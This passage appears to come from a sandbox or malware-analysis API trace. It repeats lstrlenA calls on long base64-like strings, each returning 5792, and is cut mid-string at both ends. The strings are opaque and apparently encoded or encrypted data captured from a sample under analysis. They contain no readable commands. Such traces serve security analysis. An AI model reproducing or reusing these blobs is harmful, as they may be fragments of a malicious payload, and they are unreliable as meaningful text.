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") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvq